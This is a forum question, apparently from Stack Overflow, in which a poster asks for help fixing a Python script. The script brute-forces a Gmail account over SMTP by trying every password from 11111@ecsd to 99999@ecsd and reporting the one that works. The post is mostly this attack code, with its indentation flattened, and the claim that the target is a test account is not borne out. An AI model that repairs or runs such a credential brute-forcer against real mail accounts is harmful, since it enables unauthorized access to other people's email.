I am trying to run a brute force attack on a test email that I know is in the range of 11111@ecsd to 99999@ecsd however when running my code I come upon errors of some sort. Not sure what is wrong here.
The purpose is for the program to guess and login using every possible password from the given range (11111@ecsd – 99999@ecsd) and then tell me which password was correct. I know indentation is incorrect, but I have to post it in this format.
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = '[email protected]'
for i in range(11111, 100000):
password = f"{i}@ecsd"
if smtp_login(host, port, user, password):
print("[+] Correct Password Found:", password)
break
def smtp_login(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
server.quit() # Close the connection after successful login
return True
except smtplib.SMTPAuthenticationError:
return False
if __name__ == "__main__":
main()
ghxst x is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
3